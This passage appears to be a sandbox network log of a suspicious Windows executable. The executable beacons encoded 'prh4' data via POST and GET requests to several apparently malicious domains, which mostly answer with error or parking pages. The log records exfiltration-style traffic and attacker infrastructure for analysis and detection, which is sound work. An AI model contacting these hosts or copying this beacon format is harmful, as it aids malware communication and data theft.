51 42 2f 79 62 55 76 76 70 58 66 6f 46 74 76 31 51 61 51 56 78 69 46 31 79 67 37 6a 6a 53 48 66 52 6d 33 4b 51 45 73 6d 78 4c 64 70 74 65 34 37 61 45 44 42 6a 49 54 44 5a 38 71 79 50 38 4b 4f 4c 34 65 41 2f 2b 54 48 72 31 32 2b 37 42 51 51 79 64 65 77 47 32 36 43 49 6f 6f 30 77 75 68 66 69 7a 6f 55 79 75 49 51 76 65 79 49 48 63 4b 32 59 46 56 6b 34 6d 32 65 53 44 37 31 66 77 6d 78 33 38 35 72 63 30 64 35 4b 4e 55 4d 59 42 55 34 4c 6e 67 43 52 47 37 7a 4a 6c 64 47 73 57 38 4e 38 61 50 79 65 4f 52 7a 38 6a 56 47 72 57 2f 73 61 6d 33 54 76 61 78 48 63 7a 51 33 33 6c 79 49 48 77 72 38 79 57 2b 76 32 55 42 6c 75 55 33 4b 7a 79 4a 63 36 48 42 45 4b 34 6c 2b 6a 5a 68 61 67 35 44 51 68 57 53 4e 57 67 6b 43 43 6b 55 47 62 65 42 68 52 30 77 49 36 34 65 43 75 6b 77 49 38 5a 39 75 67 48 69 33 35 44 49 75 66 42 70 76 59 48 4e 56 31 6e 7a 69 48 74 31 66 4a 66 76 37 56 5a 6c 50 62 4e [TRUNCATED] Data Ascii: prh4=1XpfOM1gsz3GOPRAIOJbAdm1sXTYyu7fsolyjQDQB/ybUvvpXfoFtv1QaQVxiF1yg7jjSHfRm3KQEsmxLdpte47aEDBjITDZ8qyP8KOL4eA/+THr12+7BQQydewG26CIoo0wuhfizoUyuIQveyIHcK2YFVk4m2eSD71fwmx385rc0d5KNUMYBU4LngCRG7zJldGsW8N8aPyeORz8jVGrW/sam3TvaxHczQ33lyIHwr8yW+v2UBluU3KzyJc6HBEK4l+jZhag5DQhWSNWgkCCkUGbeBhR0wI64eCukwI8Z9ugHi35DIufBpvYHNV1nziHt1fJfv7VZlPbN7Ssw+UO7tJG1XBT6f5qqWq6AxBc+DP1MNcCEIYx4zIBVsm0jXRmckcprDsnK/OORrgOGOgC1sbmby1Oc6PB7eVwWr0ptILyFxOU9hsxLoTGl1lvVANm2rKiRv0qeHqbdcoDDTxSfEDWdju9v3HcmKnGafzuSOStZokcpLS+TKNeBu7BGd1GZWlmiJYOAbWsr1ZAnRAbd96Q8Yd4XkbTsNQCvVtcBsYcgTm77+faamwkjzpnYzKQF8sGk8krVY0b44BJOss8FPz+DyaboIrTvXqe64jXIAfIOLCsCnZPF96cpMwpauXfns/6zbRdhTBxm7i+9PxB0oQ0aGaw0FN+WzrBYXK3YaXDMT+5O0n2YlngaoFhk5fA6VzieJSpvd8365dQxGWFDaS0xzarCXtX11Dnd5rH0i6+58+DStNqe2ylsdfhGsz5vfDY9cXJriJrT4a7s+FSqpz4h8Ejrcfqr+9fXcHxaDcXAhAAjzuqM7Xod+WltwGcFb2uyeTg4nGf/ikoMoSJd9QjXabHkDZAod9HB24F3NPsbR9zdTsv7BDNvzHYxk8QMeKiJ48DhHddPMGRFVG1w79ALZzhnBUt3Srgy7kcnkrSI02xkSkDTfHPZoS30TW6lt4ZxYz1lvINj2PHpxVz/JWm0lBtMRSnJeKgxDsOgjhm/yU [TRUNCATED]
Nov 20, 2024 09:25:07.927017927 CET	1037	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 08:25:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Wed, 20 Nov 2024 08:25:07 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9r5o9D6kHiNolSFOI8NMqmiLcZAVT8i1n5j3VEBjxvcB9aCGr6gLJLwKizHcMYvwW2vEv68nKJERP1VCYJdvWudnKmWR0FSbsqmQhDnQO3rxzb07wmZ%2F422und0avyehxa%2Ff1fa0Q38%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e570c2e9c9a42d1-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1688&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1799&delivery_rate=0&cwnd=190&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 37 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7a\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.h0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.10	50012	188.114.96.3	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:25:09.772489071 CET	498	OUT	GET /1ag2/?prh4=4VB/N4F6tibqC9FTErplINOthlfgxvKF4YtEqiz3GsaSMOHPZtZI38ZqeQNXmBxLoc2gIm7YkXHcJ/CISLsxY8XxMzohQjeM2qyI6vORstQK1Dv1jg==&_VK8=7pXD8zQxGFxP HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.mydreamdeal.click Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Nov 20, 2024 09:25:10.504965067 CET	1043	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 08:25:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Wed, 20 Nov 2024 08:25:10 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=luQuSe9vfCf9yA13%2ByaiBmn4CT9%2BFx5a6QiVowTbU6dtGWae%2BHnff8NXMJH9UR8eK3YlvjKD4lf6xEe4BqCbEuBoT%2FpIdHQtLGUFz7mAnihq99gnN0msim%2BEChEMokloYcP9vMXh1q4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e570c3eae16440d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1561&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=498&delivery_rate=0&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 33 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 93<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.10	50013	194.245.148.189	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:25:17.161294937 CET	765	OUT	POST /dvmh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.maitreyatoys.world Origin: http://www.maitreyatoys.world Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 193 Connection: close Referer: http://www.maitreyatoys.world/dvmh/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 6c 48 67 6b 62 2b 61 38 6d 43 6e 63 43 4a 63 67 76 59 4c 67 53 6e 35 33 65 64 43 71 36 64 63 46 5a 30 61 57 7a 32 7a 73 71 46 42 2b 67 45 4b 43 70 6f 76 6e 33 31 4d 5a 69 79 34 74 6f 55 73 58 50 6b 62 54 2b 4c 35 57 59 68 67 35 45 6e 54 5a 44 34 32 5a 49 57 36 79 39 72 67 6e 46 62 53 68 6d 52 65 2f 59 6e 2b 61 52 66 4e 44 52 46 73 5a 77 46 30 68 64 56 48 52 61 33 4b 71 68 6c 31 69 74 4f 4a 76 64 68 71 56 58 6d 57 74 39 56 4c 33 2b 69 55 4e 31 32 42 2b 45 70 6d 57 4a 4d 4f 33 78 52 78 35 34 70 75 6c 56 4d 4a 69 6e 70 62 6a 36 70 35 2b 63 66 2b 64 76 49 42 68 Data Ascii: prh4=lHgkb+a8mCncCJcgvYLgSn53edCq6dcFZ0aWz2zsqFB+gEKCpovn31MZiy4toUsXPkbT+L5WYhg5EnTZD42ZIW6y9rgnFbShmRe/Yn+aRfNDRFsZwF0hdVHRa3Kqhl1itOJvdhqVXmWt9VL3+iUN12B+EpmWJMO3xRx54pulVMJinpbj6p5+cf+dvIBh
Nov 20, 2024 09:25:17.778320074 CET	165	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 20 Nov 2024 08:25:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close
Nov 20, 2024 09:25:17.778556108 CET	157	IN	Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 Data Ascii: 92<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.10	50014	194.245.148.189	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:25:19.716865063 CET	789	OUT	POST /dvmh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.maitreyatoys.world Origin: http://www.maitreyatoys.world Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 217 Connection: close Referer: http://www.maitreyatoys.world/dvmh/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 6c 48 67 6b 62 2b 61 38 6d 43 6e 63 44 6f 73 67 70 2f 66 67 46 58 35 6f 62 64 43 71 31 39 63 42 5a 30 6d 57 7a 33 33 38 71 77 78 2b 68 6c 36 43 6d 4a 76 6e 30 31 4d 5a 70 53 34 30 31 45 74 36 50 6b 6d 67 2b 4f 35 57 59 68 30 35 45 6d 6a 5a 44 76 69 61 4a 47 36 30 32 4c 67 66 4c 37 53 68 6d 52 65 2f 59 6b 43 38 52 66 31 44 51 32 6b 5a 77 6e 4d 67 58 31 48 65 4d 6e 4b 71 79 31 31 6d 74 4f 49 36 64 67 47 2f 58 6b 75 74 39 56 62 33 2b 77 73 53 6d 57 42 38 41 70 6e 76 4b 65 75 6e 30 45 45 46 33 34 75 65 4e 73 49 4c 67 49 6d 6b 72 34 59 70 50 6f 69 54 68 4f 30 4c 62 6f 69 35 42 33 42 43 6b 7a 52 6c 63 36 32 67 58 36 41 6b 57 67 3d 3d Data Ascii: prh4=lHgkb+a8mCncDosgp/fgFX5obdCq19cBZ0mWz338qwx+hl6CmJvn01MZpS401Et6Pkmg+O5WYh05EmjZDviaJG602LgfL7ShmRe/YkC8Rf1DQ2kZwnMgX1HeMnKqy11mtOI6dgG/Xkut9Vb3+wsSmWB8ApnvKeun0EEF34ueNsILgImkr4YpPoiThO0Lboi5B3BCkzRlc62gX6AkWg==
Nov 20, 2024 09:25:20.321371078 CET	322	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 20 Nov 2024 08:25:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.10	50015	194.245.148.189	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:25:22.262732983 CET	1802	OUT	POST /dvmh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.maitreyatoys.world Origin: http://www.maitreyatoys.world Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 1229 Connection: close Referer: http://www.maitreyatoys.world/dvmh/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 6c 48 67 6b 62 2b 61 38 6d 43 6e 63 44 6f 73 67 70 2f 66 67 46 58 35 6f 62 64 43 71 31 39 63 42 5a 30 6d 57 7a 33 33 38 71 77 35 2b 67 54 6d 43 6e 71 48 6e 31 31 4d 5a 79 79 34 70 31 45 74 43 50 6b 2b 73 2b 4f 39 47 59 6a 4d 35 45 45 72 5a 55 4f 69 61 51 32 36 30 35 72 67 6b 46 62 53 30 6d 51 75 7a 59 6b 53 38 52 66 31 44 51 32 49 5a 32 31 30 67 52 31 48 52 61 33 4b 75 68 6c 31 4f 74 4e 34 71 64 67 7a 49 58 58 6d 74 39 30 72 33 79 6a 55 53 38 57 42 79 48 70 6e 65 4b 65 6a 67 30 41 64 30 33 34 61 30 4e 75 59 4c 6a 5a 2f 61 76 63 63 6a 63 6f 75 36 6e 6f 67 66 62 34 71 34 4c 6b 30 52 73 69 63 34 45 49 6a 79 66 37 55 76 4e 78 61 6c 5a 31 35 57 6d 53 62 4a 67 57 6e 51 79 30 6c 6a 79 45 6a 67 49 39 4c 54 6c 6a 4c 64 43 48 4a 33 71 51 4e 6b 41 65 69 63 56 56 51 6d 39 79 42 2b 6c 75 4e 53 62 57 73 4d 73 5a 4c 58 6b 66 64 52 6f 48 6c 58 54 36 2b 5a 63 4f 6b 4d 74 37 65 6f 6f 6a 5a 5a 4f 41 6a 56 58 54 7a 2b 49 31 56 43 54 76 59 49 65 6a 65 4e 76 47 31 32 51 50 4b 44 6e 4e 37 43 7a 55 78 2f 4a [TRUNCATED] Data Ascii: prh4=lHgkb+a8mCncDosgp/fgFX5obdCq19cBZ0mWz338qw5+gTmCnqHn11MZyy4p1EtCPk+s+O9GYjM5EErZUOiaQ2605rgkFbS0mQuzYkS8Rf1DQ2IZ210gR1HRa3Kuhl1OtN4qdgzIXXmt90r3yjUS8WByHpneKejg0Ad034a0NuYLjZ/avccjcou6nogfb4q4Lk0Rsic4EIjyf7UvNxalZ15WmSbJgWnQy0ljyEjgI9LTljLdCHJ3qQNkAeicVVQm9yB+luNSbWsMsZLXkfdRoHlXT6+ZcOkMt7eoojZZOAjVXTz+I1VCTvYIejeNvG12QPKDnN7CzUx/J+IICRvbOSBEfFPSqSDpL8dG9iTSjfV4GJ2s6smtyPz/BzWdCcQXBE8k2z5iP2xpiEK4ffoecPKKNFOsvRUdORZJc5QlRwRMLXw76lEnPeu8D8Sd985zu9PTNon+mVfd94v5Nzu0gO1vM16M3239l699UCktT/lRavvKVwj1wsFpIoXLE8dQKQF7akueaIzGEK1wLbuA6JtaI7fI/MhXWj4q5PVb4YVxx+4QS6s+1F5WOG07ANiyE4xjY+nM8ZuD2sYYRtWTKMg9HDuwa0v7DxEEerph9CPZActpbleQjoGoSwI9M9YZkQlk9SgnKUQK+picCy8d5v0WacE5vZNDmJSQt79HeEahDCMtPuiaCsU3cSKu5vy7LjFwgeEGzvU7cr1m9tIsngdwMkwAF2xUqS8iF9Ax+ig/+q1l8ggp0KmZ/zOMj9inr18F4B6xoDuRnFV+iC66zpF5OrXc0xmHHct7/ncrO+CvQPX2CbtaHSsPcEZxHNwkpzJ5WdrejJ/zy68msS0m6iJIJTU+CCbGUCdtk9eSbsoIJs3n9OPrGGylmh5V0gHqe2nQon2W0OS4hgnQdD10NoJgbtTSwv9dpZoWg6zTsdBMEsEasQwnTFhZxW/Kvtdm9Sl2Rh0e3d8rjryjr2jYsUo27CzW+/2PXDX8Te5Tkzi4KHZ [TRUNCATED]
Nov 20, 2024 09:25:22.866837025 CET	322	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 20 Nov 2024 08:25:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.10	50016	194.245.148.189	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:25:24.807418108 CET	499	OUT	GET /dvmh/?prh4=oFIEYIO2gjvnF7Mvhq7sL0t2a9Wv2ONAMWbI9WLDgwNy2jujsZOasn0dsRYzh1BdbVLS+4ZlfSYhPFaSDYrrOj2l86R3Os3ZjQmQABGtMbl8YFkRqw==&_VK8=7pXD8zQxGFxP HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.maitreyatoys.world Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Nov 20, 2024 09:25:25.416529894 CET	242	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Nov 2024 08:25:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1840 Last-Modified: Tue, 04 Apr 2017 13:56:46 GMT Connection: close ETag: "58e3a61e-730" Accept-Ranges: bytes
Nov 20, 2024 09:25:25.416614056 CET	1236	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> ... The above 3 meta
Nov 20, 2024 09:25:25.416697025 CET	604	IN	Data Raw: 7a 61 74 69 6f 6e 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 3c 70 3e 3c 61 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 6c 67 20 62 74 6e 2d 73 75 63 63 65 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6a 6f 6b 65 72 2e 63 6f 6d 2f 3f Data Ascii: zation.</p> <p><a class="btn btn-lg btn-success" href="https://joker.com/?pk_campaign=Parking&pk_kwd=text" role="button">JOKER.COM</a></p> </div> <footer class="footer"> <p>© 2017 CSL GmbH / JOKER.COM</p>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.10	50017	199.59.243.227	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:25:30.621889114 CET	777	OUT	POST /pn0u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.dating-apps-az-dn5.xyz Origin: http://www.dating-apps-az-dn5.xyz Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 193 Connection: close Referer: http://www.dating-apps-az-dn5.xyz/pn0u/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 75 45 47 55 70 6a 72 30 6f 4d 64 69 4b 76 69 45 4d 71 53 33 67 78 34 55 2b 33 54 45 50 2b 32 32 6c 46 4b 74 7a 6a 47 62 49 6d 72 54 50 44 53 56 6c 4c 48 66 44 70 57 2f 68 48 72 79 78 39 2f 30 75 54 6f 72 32 4a 6b 78 56 5a 53 78 56 4e 74 58 30 42 52 4b 71 6d 4f 70 4c 71 4d 63 56 5a 6a 42 6a 54 66 58 6c 49 6e 78 53 63 4d 48 51 7a 6c 71 53 4b 5a 6e 48 78 53 39 73 70 36 35 38 4c 44 77 61 68 7a 75 2f 6d 6d 4a 78 53 55 33 6a 33 32 37 4f 53 74 5a 63 4c 32 49 77 4f 67 77 4b 53 71 64 6f 31 2b 45 41 2b 44 64 48 2f 35 4f 55 55 59 61 4f 58 71 38 72 65 71 36 48 58 6d 36 Data Ascii: prh4=uEGUpjr0oMdiKviEMqS3gx4U+3TEP+22lFKtzjGbImrTPDSVlLHfDpW/hHryx9/0uTor2JkxVZSxVNtX0BRKqmOpLqMcVZjBjTfXlInxScMHQzlqSKZnHxS9sp658LDwahzu/mmJxSU3j327OStZcL2IwOgwKSqdo1+EA+DdH/5OUUYaOXq8req6HXm6
Nov 20, 2024 09:25:31.060921907 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 08:25:30 GMT content-type: text/html; charset=utf-8 content-length: 1154 x-request-id: e1992aca-ff1a-4d9b-81a8-6f34806f13db cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_bWcZewp8eISZBr0lUYb166dr3nPAuKFm8lkyMSyz0VztdD3st25mfrrotBOQpEyYQuOCOGrRVeBKclo1TlhzHg== set-cookie: parking_session=e1992aca-ff1a-4d9b-81a8-6f34806f13db; expires=Wed, 20 Nov 2024 08:40:31 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 62 57 63 5a 65 77 70 38 65 49 53 5a 42 72 30 6c 55 59 62 31 36 36 64 72 33 6e 50 41 75 4b 46 6d 38 6c 6b 79 4d 53 79 7a 30 56 7a 74 64 44 33 73 74 32 35 6d 66 72 72 6f 74 42 4f 51 70 45 79 59 51 75 4f 43 4f 47 72 52 56 65 42 4b 63 6c 6f 31 54 6c 68 7a 48 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_bWcZewp8eISZBr0lUYb166dr3nPAuKFm8lkyMSyz0VztdD3st25mfrrotBOQpEyYQuOCOGrRVeBKclo1TlhzHg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Nov 20, 2024 09:25:31.060949087 CET	607	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZTE5OTJhY2EtZmYxYS00ZDliLTgxYTgtNmYzNDgwNmYxM2RiIiwicGFnZV90aW1lIjoxNzMyMDkxMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
